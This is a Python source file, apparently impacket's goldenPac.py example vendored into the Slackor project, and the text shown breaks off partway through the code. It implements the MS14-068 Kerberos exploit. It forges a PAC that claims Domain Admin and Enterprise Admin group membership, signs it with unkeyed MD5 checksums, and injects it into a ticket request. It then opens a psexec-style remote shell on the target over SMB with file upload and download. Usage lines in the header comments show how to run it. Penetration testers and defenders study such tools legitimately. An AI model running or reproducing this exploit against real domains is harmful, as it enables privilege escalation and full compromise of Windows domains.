github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/impacket/examples/goldenPac.py (about)

     1  #!/usr/bin/env python
     2  # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
     3  #
     4  # This software is provided under under a slightly modified version
     5  # of the Apache Software License. See the accompanying LICENSE file
     6  # for more information.
     7  #
     8  # Author: Alberto Solino (@agsolino)
     9  #
    10  # Description:
    11  #   MS14-068 Exploit. Kudos to @BiDOrD for pulling it up first! 
    12  #   Well done :).
    13  #   This one also established a SMBConnection and PSEXEcs the 
    14  #   target.
    15  #   A few important things:
    16  #   1) you must use the domain FQDN or use -dc-ip switch
    17  #   2) target must be a FQDN as well and matching the target's NetBIOS 
    18  #   3) Just RC4 at the moment - DONE (aes256 added)
    19  #   4) It won't work on Kerberos-only Domains (but can be fixed)
    20  #   5) Use WMIEXEC approach instead
    21  #
    22  #   E.G:
    23  #       python goldenPac domain.net/normaluser@domain-host
    24  #       the password will be asked, or
    25  #
    26  #       python goldenPac.py domain.net/normaluser:mypwd@domain-host
    27  #
    28  #       if domain.net and/or domain-host do not resolve, add them
    29  #       to the hosts file or use the -dc-ip and -target-ip parameters
    30  #
    31  from __future__ import division
    32  from __future__ import print_function
    33  import cmd
    34  import logging
    35  import os
    36  import random
    37  import string
    38  import time
    39  from binascii import unhexlify
    40  from threading import Thread, Lock
    41  from six import PY3
    42  
    43  from impacket.dcerpc.v5 import epm
    44  from impacket.dcerpc.v5.drsuapi import MSRPC_UUID_DRSUAPI, hDRSDomainControllerInfo, DRSBind, NTDSAPI_CLIENT_GUID, \
    45      DRS_EXTENSIONS_INT, DRS_EXT_GETCHGREQ_V6, DRS_EXT_GETCHGREPLY_V6, DRS_EXT_GETCHGREQ_V8, DRS_EXT_STRONG_ENCRYPTION, \
    46      NULLGUID
    47  from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED
    48  from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS
    49  from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, hLsarOpenPolicy2, POLICY_LOOKUP_NAMES
    50  from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx
    51  from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
    52  from impacket.krb5.pac import PKERB_VALIDATION_INFO, KERB_VALIDATION_INFO, KERB_SID_AND_ATTRIBUTES, PAC_CLIENT_INFO, \
    53      PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, \
    54      PAC_PRIVSVR_CHECKSUM, PACTYPE
    55  from impacket.examples import logger
    56  from impacket.examples import remcomsvc, serviceinstall
    57  from impacket.smbconnection import SMBConnection, smb
    58  from impacket.structure import Structure
    59  
    60  ################################################################################
    61  # HELPER FUNCTIONS
    62  ################################################################################
    63  
    64  def getFileTime(t):
    65      t *= 10000000
    66      t += 116444736000000000
    67      return t
    68  
    69  class RemComMessage(Structure):
    70      structure = (
    71          ('Command','4096s=""'),
    72          ('WorkingDir','260s=""'),
    73          ('Priority','<L=0x20'),
    74          ('ProcessID','<L=0x01'),
    75          ('Machine','260s=""'),
    76          ('NoWait','<L=0'),
    77      )
    78  
    79  class RemComResponse(Structure):
    80      structure = (
    81          ('ErrorCode','<L=0'),
    82          ('ReturnCode','<L=0'),
    83      )
    84  
    85  RemComSTDOUT         = "RemCom_stdout"
    86  RemComSTDIN          = "RemCom_stdin"
    87  RemComSTDERR         = "RemCom_stderr"
    88  
    89  lock = Lock()
    90  
    91  class PSEXEC:
    92      def __init__(self, command, username, domain, smbConnection, TGS, copyFile):
    93          self.__username = username
    94          self.__command = command
    95          self.__path = None
    96          self.__domain = domain
    97          self.__exeFile = None
    98          self.__copyFile = copyFile
    99          self.__TGS = TGS
   100          self.__smbConnection = smbConnection
   101  
   102      def run(self, addr):
   103          rpctransport = transport.SMBTransport(addr, filename='/svcctl', smb_connection=self.__smbConnection)
   104          dce = rpctransport.get_dce_rpc()
   105          try:
   106              dce.connect()
   107          except Exception as e:
   108              logging.critical(str(e))
   109              sys.exit(1)
   110  
   111          global dialect
   112          dialect = rpctransport.get_smb_connection().getDialect()
   113  
   114          try:
   115              unInstalled = False
   116              s = rpctransport.get_smb_connection()
   117  
   118              # We don't wanna deal with timeouts from now on.
   119              s.setTimeout(100000)
   120              if self.__exeFile is None:
   121                  installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc())
   122              else:
   123                  try:
   124                      f = open(self.__exeFile)
   125                  except Exception as e:
   126                      logging.critical(str(e))
   127                      sys.exit(1)
   128                  installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f)
   129      
   130              installService.install()
   131  
   132              if self.__exeFile is not None:
   133                  f.close()
   134  
   135              # Check if we need to copy a file for execution
   136              if self.__copyFile is not None:
   137                  installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile))
   138                  # And we change the command to be executed to this filename
   139                  self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command
   140  
   141              tid = s.connectTree('IPC$')
   142              fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f)
   143  
   144              packet = RemComMessage()
   145              pid = os.getpid()
   146  
   147              packet['Machine'] = ''.join([random.choice(string.ascii_letters) for _ in range(4)])
   148              if self.__path is not None:
   149                  packet['WorkingDir'] = self.__path
   150              packet['Command'] = self.__command
   151              packet['ProcessID'] = pid
   152  
   153              s.writeNamedPipe(tid, fid_main, packet.getData())
   154  
   155              # Here we'll store the command we type so we don't print it back ;)
   156              # ( I know.. globals are nasty :P )
   157              global LastDataSent
   158              LastDataSent = ''
   159  
   160              # Create the pipes threads
   161              stdin_pipe = RemoteStdInPipe(rpctransport,
   162                                           r'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']),
   163                                           smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, self.__TGS,
   164                                           installService.getShare())
   165              stdin_pipe.start()
   166              stdout_pipe = RemoteStdOutPipe(rpctransport,
   167                                             r'\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']),
   168                                             smb.FILE_READ_DATA)
   169              stdout_pipe.start()
   170              stderr_pipe = RemoteStdErrPipe(rpctransport,
   171                                             r'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']),
   172                                             smb.FILE_READ_DATA)
   173              stderr_pipe.start()
   174              
   175              # And we stay here till the end
   176              ans = s.readNamedPipe(tid,fid_main,8)
   177  
   178              if len(ans):
   179                  retCode = RemComResponse(ans)
   180                  logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % (
   181                  self.__command, retCode['ErrorCode'], retCode['ReturnCode']))
   182              installService.uninstall()
   183              if self.__copyFile is not None:
   184                  # We copied a file for execution, let's remove it
   185                  s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
   186              unInstalled = True
   187              sys.exit(retCode['ErrorCode'])
   188  
   189          except SystemExit:
   190              raise
   191          except Exception as e:
   192              logging.debug(str(e))
   193              if unInstalled is False:
   194                  installService.uninstall()
   195                  if self.__copyFile is not None:
   196                      s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
   197              sys.stdout.flush()
   198              sys.exit(1)
   199  
   200      def openPipe(self, s, tid, pipe, accessMask):
   201          pipeReady = False
   202          tries = 50
   203          while pipeReady is False and tries > 0:
   204              try:
   205                  s.waitNamedPipe(tid,pipe)
   206                  pipeReady = True
   207              except Exception as e:
   208                  print(str(e))
   209                  tries -= 1
   210                  time.sleep(2)
   211                  pass
   212  
   213          if tries == 0:
   214              raise Exception('Pipe not ready, aborting')
   215  
   216          fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80)
   217  
   218          return fid
   219  
   220  class Pipes(Thread):
   221      def __init__(self, transport, pipe, permissions, TGS=None, share=None):
   222          Thread.__init__(self)
   223          self.server = 0
   224          self.transport = transport
   225          self.credentials = transport.get_credentials()
   226          self.tid = 0
   227          self.fid = 0
   228          self.share = share
   229          self.port = transport.get_dport()
   230          self.pipe = pipe
   231          self.permissions = permissions
   232          self.TGS = TGS
   233          self.daemon = True
   234  
   235      def connectPipe(self):
   236          try:
   237              lock.acquire()
   238              global dialect
   239              self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(),
   240                                          sess_port=self.port, preferredDialect=dialect)
   241              user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
   242              self.server.login(user, passwd, domain, lm, nt)
   243              lock.release()
   244              self.tid = self.server.connectTree('IPC$') 
   245  
   246              self.server.waitNamedPipe(self.tid, self.pipe)
   247              self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80)
   248              self.server.setTimeout(1000000)
   249          except:
   250              logging.critical("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
   251  
   252  
   253  class RemoteStdOutPipe(Pipes):
   254      def __init__(self, transport, pipe, permisssions):
   255          Pipes.__init__(self, transport, pipe, permisssions)
   256  
   257      def run(self):
   258          self.connectPipe()
   259          while True:
   260              try:
   261                  ans = self.server.readFile(self.tid,self.fid, 0, 1024)
   262              except:
   263                  pass
   264              else:
   265                  try:
   266                          global LastDataSent
   267                          if ans != LastDataSent:
   268                              sys.stdout.write(ans.decode('cp437'))
   269                              sys.stdout.flush()
   270                          else:
   271                              # Don't echo what I sent, and clear it up
   272                              LastDataSent = ''
   273                          # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, 
   274                          # it will give false positives tho.. we should find a better way to handle this.
   275                          if LastDataSent > 10:
   276                              LastDataSent = ''
   277                  except:
   278                      pass
   279  
   280  class RemoteStdErrPipe(Pipes):
   281      def __init__(self, transport, pipe, permisssions):
   282          Pipes.__init__(self, transport, pipe, permisssions)
   283  
   284      def run(self):
   285          self.connectPipe()
   286          while True:
   287              try:
   288                  ans = self.server.readFile(self.tid,self.fid, 0, 1024)
   289              except:
   290                  pass
   291              else:
   292                  try:
   293                      sys.stderr.write(str(ans))
   294                      sys.stderr.flush()
   295                  except:
   296                      pass
   297  
   298  class RemoteShell(cmd.Cmd):
   299      def __init__(self, server, port, credentials, tid, fid, TGS, share):
   300          cmd.Cmd.__init__(self, False)
   301          self.prompt = '\x08'
   302          self.server = server
   303          self.transferClient = None
   304          self.tid = tid
   305          self.fid = fid
   306          self.credentials = credentials
   307          self.share = share
   308          self.port = port
   309          self.TGS = TGS
   310          self.intro = '[!] Press help for extra shell commands'
   311  
   312      def connect_transferClient(self):
   313          self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
   314                                              preferredDialect=dialect)
   315          user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
   316          self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False)
   317  
   318      def do_help(self, line):
   319          print("""
   320   lcd {path}                 - changes the current local directory to {path}
   321   exit                       - terminates the server process (and this session)
   322   put {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the connected share (%s)
   323   get {file}                 - downloads pathname RELATIVE to the connected share (%s) to the current local dir 
   324   ! {cmd}                    - executes a local shell cmd
   325  """ % (self.share, self.share))
   326          self.send_data('\r\n', False)
   327  
   328      def do_shell(self, s):
   329          os.system(s)
   330          self.send_data('\r\n')
   331  
   332      def do_get(self, src_path):
   333          try:
   334              if self.transferClient is None:
   335                  self.connect_transferClient()
   336  
   337              import ntpath
   338              filename = ntpath.basename(src_path)
   339              fh = open(filename,'wb')
   340              logging.info("Downloading %s\\%s" % (self.share, src_path))
   341              self.transferClient.getFile(self.share, src_path, fh.write)
   342              fh.close()
   343          except Exception as e:
   344              logging.error(str(e))
   345              pass
   346  
   347          self.send_data('\r\n')
   348   
   349      def do_put(self, s):
   350          try:
   351              if self.transferClient is None:
   352                  self.connect_transferClient()
   353              params = s.split(' ')
   354              if len(params) > 1:
   355                  src_path = params[0]
   356                  dst_path = params[1]
   357              elif len(params) == 1:
   358                  src_path = params[0]
   359                  dst_path = '/'
   360  
   361              src_file = os.path.basename(src_path)
   362              fh = open(src_path, 'rb')
   363              f = dst_path + '/' + src_file
   364              pathname = f.replace('/','\\')
   365              logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path))
   366              if PY3:
   367                  self.transferClient.putFile(self.share, pathname, fh.read)
   368              else:
   369                  self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read)
   370              fh.close()
   371          except Exception as e:
   372              logging.error(str(e))
   373              pass
   374  
   375          self.send_data('\r\n')
   376  
   377  
   378      def do_lcd(self, s):
   379          if s == '':
   380              print(os.getcwd())
   381          else:
   382              try:
   383                  os.chdir(s)
   384              except Exception as e:
   385                  logging.error(str(e))
   386          self.send_data('\r\n')
   387  
   388      def emptyline(self):
   389          self.send_data('\r\n')
   390          return
   391  
   392      def default(self, line):
   393          if PY3:
   394              self.send_data(line.encode('cp437')+b'\r\n')
   395          else:
   396              self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n')
   397  
   398      def send_data(self, data, hideOutput = True):
   399          if hideOutput is True:
   400              global LastDataSent
   401              LastDataSent = data
   402          else:
   403              LastDataSent = ''
   404          self.server.writeFile(self.tid, self.fid, data)
   405  
   406  
   407  class RemoteStdInPipe(Pipes):
   408      def __init__(self, transport, pipe, permisssions, TGS=None, share=None):
   409          Pipes.__init__(self, transport, pipe, permisssions, TGS, share)
   410  
   411      def run(self):
   412          self.connectPipe()
   413          shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share)
   414          shell.cmdloop()
   415  
   416  
   417  class MS14_068:
   418      # 6.1.  Unkeyed Checksums
   419      # Vulnerable DCs are accepting at least these unkeyed checksum types
   420      CRC_32  = 1
   421      RSA_MD4 = 2
   422      RSA_MD5 = 7
   423      class VALIDATION_INFO(TypeSerialization1):
   424          structure = (
   425              ('Data', PKERB_VALIDATION_INFO),
   426          )
   427  
   428      def __init__(self, target, targetIp=None, username='', password='', domain='', hashes=None, command='',
   429                   copyFile=None, writeTGT=None, kdcHost=None):
   430          self.__username = username
   431          self.__password = password
   432          self.__domain = domain
   433          self.__rid = 0
   434          self.__lmhash = ''
   435          self.__nthash = ''
   436          self.__target = target
   437          self.__targetIp = targetIp
   438          self.__kdcHost = None
   439          self.__copyFile = copyFile
   440          self.__command = command
   441          self.__writeTGT = writeTGT
   442          self.__domainSid = ''
   443          self.__forestSid = None
   444          self.__domainControllers = list()
   445          self.__kdcHost = kdcHost
   446  
   447          if hashes is not None:
   448              self.__lmhash, self.__nthash = hashes.split(':')
   449              self.__lmhash = unhexlify(self.__lmhash)
   450              self.__nthash = unhexlify(self.__nthash)
   451  
   452      def getGoldenPAC(self, authTime):
   453          # Ok.. we need to build a PAC_TYPE with the following items
   454  
   455          # 1) KERB_VALIDATION_INFO
   456          aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ'))
   457  
   458          unixTime = getFileTime(aTime)
   459  
   460          kerbdata = KERB_VALIDATION_INFO()
   461  
   462          kerbdata['LogonTime']['dwLowDateTime']           = unixTime & 0xffffffff
   463          kerbdata['LogonTime']['dwHighDateTime']          = unixTime >>32
   464  
   465          # LogoffTime: A FILETIME structure that contains the time the client's logon 
   466          # session should expire. If the session should not expire, this structure 
   467          # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime 
   468          # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as 
   469          # an indicator of when to warn the user that the allowed time is due to expire.
   470          kerbdata['LogoffTime']['dwLowDateTime']          = 0xFFFFFFFF
   471          kerbdata['LogoffTime']['dwHighDateTime']         = 0x7FFFFFFF
   472  
   473          # KickOffTime: A FILETIME structure that contains LogoffTime minus the user 
   474          # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the 
   475          # client should not be logged off, this structure SHOULD have the dwHighDateTime 
   476          # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. 
   477          # The Kerberos service ticket end time is a replacement for KickOffTime. 
   478          # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of 
   479          # an account. A recipient of the PAC SHOULD<8> use this value as the indicator 
   480          # of when the client should be forcibly disconnected.
   481          kerbdata['KickOffTime']['dwLowDateTime']         = 0xFFFFFFFF
   482          kerbdata['KickOffTime']['dwHighDateTime']        = 0x7FFFFFFF
   483  
   484          kerbdata['PasswordLastSet']['dwLowDateTime']     = 0
   485          kerbdata['PasswordLastSet']['dwHighDateTime']    = 0
   486  
   487          kerbdata['PasswordCanChange']['dwLowDateTime']   = 0
   488          kerbdata['PasswordCanChange']['dwHighDateTime']  = 0
   489          
   490          # PasswordMustChange: A FILETIME structure that contains the time at which
   491          # theclient's password expires. If the password will not expire, this 
   492          # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the 
   493          # dwLowDateTime member set to 0xFFFFFFFF.
   494          kerbdata['PasswordMustChange']['dwLowDateTime']  = 0xFFFFFFFF
   495          kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF
   496  
   497          kerbdata['EffectiveName']      = self.__username
   498          kerbdata['FullName']           = ''
   499          kerbdata['LogonScript']        = ''
   500          kerbdata['ProfilePath']        = ''
   501          kerbdata['HomeDirectory']      = ''
   502          kerbdata['HomeDirectoryDrive'] = ''
   503          kerbdata['LogonCount']         = 0
   504          kerbdata['BadPasswordCount']   = 0
   505          kerbdata['UserId']             = self.__rid
   506          kerbdata['PrimaryGroupId']     = 513
   507          
   508          # Our Golden Well-known groups! :)
   509          groups = (513, 512, 520, 518, 519)
   510          kerbdata['GroupCount']         = len(groups)
   511  
   512          for group in groups:
   513              groupMembership = GROUP_MEMBERSHIP()
   514              groupId = NDRULONG()
   515              groupId['Data'] = group
   516              groupMembership['RelativeId'] = groupId
   517              groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
   518              kerbdata['GroupIds'].append(groupMembership)
   519  
   520          kerbdata['UserFlags']         = 0
   521          kerbdata['UserSessionKey']    = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
   522          kerbdata['LogonServer']       = ''
   523          kerbdata['LogonDomainName']   = self.__domain
   524          kerbdata['LogonDomainId']     = self.__domainSid
   525          kerbdata['LMKey']             = b'\x00\x00\x00\x00\x00\x00\x00\x00'
   526          kerbdata['UserAccountControl']= USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
   527          kerbdata['SubAuthStatus']     = 0
   528          kerbdata['LastSuccessfulILogon']['dwLowDateTime']  = 0
   529          kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
   530          kerbdata['LastFailedILogon']['dwLowDateTime']      = 0
   531          kerbdata['LastFailedILogon']['dwHighDateTime']     = 0
   532          kerbdata['FailedILogonCount'] = 0
   533          kerbdata['Reserved3']         = 0
   534  
   535          # AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is 
   536          # asserted by an authentication authority based on proof of possession of client credentials.
   537          #extraSids = ('S-1-18-1',)
   538          if self.__forestSid is not None:
   539              extraSids = ('%s-%s' % (self.__forestSid, '519'),)
   540              kerbdata['SidCount']          = len(extraSids)
   541              kerbdata['UserFlags'] |= 0x20
   542          else:
   543              extraSids = ()
   544              kerbdata['SidCount']          = len(extraSids)
   545          
   546          for extraSid in extraSids:
   547              sidRecord = KERB_SID_AND_ATTRIBUTES()
   548              sid = RPC_SID()
   549              sid.fromCanonical(extraSid)
   550              sidRecord['Sid'] = sid
   551              sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
   552              kerbdata['ExtraSids'].append(sidRecord)
   553  
   554          kerbdata['ResourceGroupDomainSid'] = NULL
   555          kerbdata['ResourceGroupCount'] = 0
   556          kerbdata['ResourceGroupIds'] = NULL
   557              
   558          validationInfo = self.VALIDATION_INFO()
   559          validationInfo['Data'] = kerbdata
   560  
   561          if logging.getLogger().level == logging.DEBUG:
   562              logging.debug('VALIDATION_INFO')
   563              validationInfo.dump()
   564              print ('\n')
   565  
   566          validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents()
   567          validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob))
   568  
   569          # 2) PAC_CLIENT_INFO
   570          pacClientInfo = PAC_CLIENT_INFO()
   571          pacClientInfo['ClientId'] = unixTime
   572          try:
   573              name = self.__username.encode('utf-16le')
   574          except UnicodeDecodeError:
   575              import sys
   576              name = self.__username.decode(sys.getfilesystemencoding()).encode('utf-16le')
   577          pacClientInfo['NameLength'] = len(name)
   578          pacClientInfo['Name'] = name
   579          pacClientInfoBlob = pacClientInfo.getData()
   580          pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob))
   581  
   582          # 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA
   583          serverChecksum = PAC_SIGNATURE_DATA()
   584  
   585          # If you wanna do CRC32, uncomment this
   586          #serverChecksum['SignatureType'] = self.CRC_32
   587          #serverChecksum['Signature'] = b'\x00'*4
   588  
   589          # If you wanna do MD4, uncomment this
   590          #serverChecksum['SignatureType'] = self.RSA_MD4
   591          #serverChecksum['Signature'] = b'\x00'*16
   592  
   593          # If you wanna do MD5, uncomment this
   594          serverChecksum['SignatureType'] = self.RSA_MD5
   595          serverChecksum['Signature'] = b'\x00'*16
   596  
   597          serverChecksumBlob = serverChecksum.getData()
   598          serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob))
   599  
   600          # 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA
   601          privSvrChecksum = PAC_SIGNATURE_DATA()
   602  
   603          # If you wanna do CRC32, uncomment this
   604          #privSvrChecksum['SignatureType'] = self.CRC_32
   605          #privSvrChecksum['Signature'] = b'\x00'*4
   606  
   607          # If you wanna do MD4, uncomment this
   608          #privSvrChecksum['SignatureType'] = self.RSA_MD4
   609          #privSvrChecksum['Signature'] = b'\x00'*16
   610  
   611          # If you wanna do MD5, uncomment this
   612          privSvrChecksum['SignatureType'] = self.RSA_MD5
   613          privSvrChecksum['Signature'] = b'\x00'*16
   614  
   615          privSvrChecksumBlob = privSvrChecksum.getData()
   616          privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob))
   617  
   618          # The offset are set from the beginning of the PAC_TYPE
   619          # [MS-PAC] 2.4 PAC_INFO_BUFFER
   620          offsetData = 8 + len(PAC_INFO_BUFFER().getData())*4
   621  
   622          # Let's build the PAC_INFO_BUFFER for each one of the elements
   623          validationInfoIB = PAC_INFO_BUFFER()
   624          validationInfoIB['ulType'] = PAC_LOGON_INFO
   625          validationInfoIB['cbBufferSize'] =  len(validationInfoBlob)
   626          validationInfoIB['Offset'] = offsetData
   627          offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8
   628  
   629          pacClientInfoIB = PAC_INFO_BUFFER()
   630          pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
   631          pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
   632          pacClientInfoIB['Offset'] = offsetData
   633          offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8
   634  
   635          serverChecksumIB = PAC_INFO_BUFFER()
   636          serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
   637          serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
   638          serverChecksumIB['Offset'] = offsetData
   639          offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8
   640  
   641          privSvrChecksumIB = PAC_INFO_BUFFER()
   642          privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
   643          privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
   644          privSvrChecksumIB['Offset'] = offsetData
   645          #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8
   646  
   647          # Building the PAC_TYPE as specified in [MS-PAC]
   648          buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \
   649              privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \
   650              pacClientInfo.getData() + pacClientInfoAlignment
   651          buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment
   652  
   653          pacType = PACTYPE()
   654          pacType['cBuffers'] = 4
   655          pacType['Version'] = 0
   656          pacType['Buffers'] = buffers + buffersTail
   657  
   658          blobToChecksum = pacType.getData()
   659  
   660          # If you want to do CRC-32, ucomment this
   661          #serverChecksum['Signature'] = struct.pack('<L', (binascii.crc32(blobToChecksum, 0xffffffff) ^ 0xffffffff) & 0xffffffff)
   662          #privSvrChecksum['Signature'] =  struct.pack('<L', (binascii.crc32(serverChecksum['Signature'], 0xffffffff) ^ 0xffffffff) & 0xffffffff)
   663  
   664          # If you want to do MD4, ucomment this
   665          #serverChecksum['Signature'] = MD4.new(blobToChecksum).digest()
   666          #privSvrChecksum['Signature'] =  MD4.new(serverChecksum['Signature']).digest()
   667  
   668          # If you want to do MD5, ucomment this
   669          serverChecksum['Signature'] = MD5.new(blobToChecksum).digest()
   670          privSvrChecksum['Signature'] = MD5.new(serverChecksum['Signature']).digest() 
   671  
   672          buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment
   673          pacType['Buffers'] = buffers + buffersTail
   674  
   675          authorizationData = AuthorizationData()
   676          authorizationData[0] = noValue
   677          authorizationData[0]['ad-type'] = int(constants.AuthorizationDataType.AD_WIN2K_PAC.value)
   678          authorizationData[0]['ad-data'] = pacType.getData()
   679          return encoder.encode(authorizationData)
   680  
   681      def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher, sessionKey, authTime):
   682          # Get out Golden PAC
   683          goldenPAC = self.getGoldenPAC(authTime)
   684  
   685          decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
   686  
   687          # Extract the ticket from the TGT
   688          ticket = Ticket()
   689          ticket.from_asn1(decodedTGT['ticket'])
   690  
   691          # Now put the goldenPac inside the AuthorizationData AD_IF_RELEVANT
   692          ifRelevant = AD_IF_RELEVANT()
   693          ifRelevant[0] = noValue
   694          ifRelevant[0]['ad-type'] = int(constants.AuthorizationDataType.AD_IF_RELEVANT.value)
   695          ifRelevant[0]['ad-data'] = goldenPAC
   696  
   697          encodedIfRelevant = encoder.encode(ifRelevant)
   698  
   699          # Key Usage 4
   700          # TGS-REQ KDC-REQ-BODY AuthorizationData, encrypted with
   701          # the TGS session key (Section 5.4.1)
   702          encryptedEncodedIfRelevant = cipher.encrypt(sessionKey, 4, encodedIfRelevant, None)
   703  
   704          tgsReq = TGS_REQ()
   705          reqBody = seq_set(tgsReq, 'req-body')
   706  
   707          opts = list()
   708          opts.append( constants.KDCOptions.forwardable.value )
   709          opts.append( constants.KDCOptions.renewable.value )
   710          opts.append( constants.KDCOptions.proxiable.value )
   711  
   712          reqBody['kdc-options'] = constants.encodeFlags(opts)
   713          seq_set(reqBody, 'sname', serverName.components_to_asn1)
   714          reqBody['realm'] = decodedTGT['crealm'].prettyPrint()
   715  
   716          now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
   717  
   718          reqBody['till'] = KerberosTime.to_asn1(now)
   719          reqBody['nonce'] = random.SystemRandom().getrandbits(31)
   720          seq_set_iter(reqBody, 'etype', (cipher.enctype,))
   721          reqBody['enc-authorization-data'] = noValue
   722          reqBody['enc-authorization-data']['etype'] = int(cipher.enctype)
   723          reqBody['enc-authorization-data']['cipher'] = encryptedEncodedIfRelevant
   724  
   725          apReq = AP_REQ()
   726          apReq['pvno'] = 5
   727          apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
   728  
   729          opts = list()
   730          apReq['ap-options'] =  constants.encodeFlags(opts)
   731          seq_set(apReq,'ticket', ticket.to_asn1)
   732  
   733          authenticator = Authenticator()
   734          authenticator['authenticator-vno'] = 5
   735          authenticator['crealm'] = decodedTGT['crealm'].prettyPrint()
   736  
   737          clientName = Principal()
   738          clientName.from_asn1( decodedTGT, 'crealm', 'cname')
   739  
   740          seq_set(authenticator, 'cname', clientName.components_to_asn1)
   741  
   742          now = datetime.datetime.utcnow() 
   743          authenticator['cusec'] =  now.microsecond
   744          authenticator['ctime'] = KerberosTime.to_asn1(now)
   745  
   746          encodedAuthenticator = encoder.encode(authenticator)
   747  
   748          # Key Usage 7
   749          # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
   750          # TGS authenticator subkey), encrypted with the TGS session
   751          # key (Section 5.5.1)
   752          encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
   753  
   754          apReq['authenticator'] = noValue
   755          apReq['authenticator']['etype'] = cipher.enctype
   756          apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
   757  
   758          encodedApReq = encoder.encode(apReq)
   759  
   760          tgsReq['pvno'] =  5
   761          tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
   762          tgsReq['padata'] = noValue
   763          tgsReq['padata'][0] = noValue
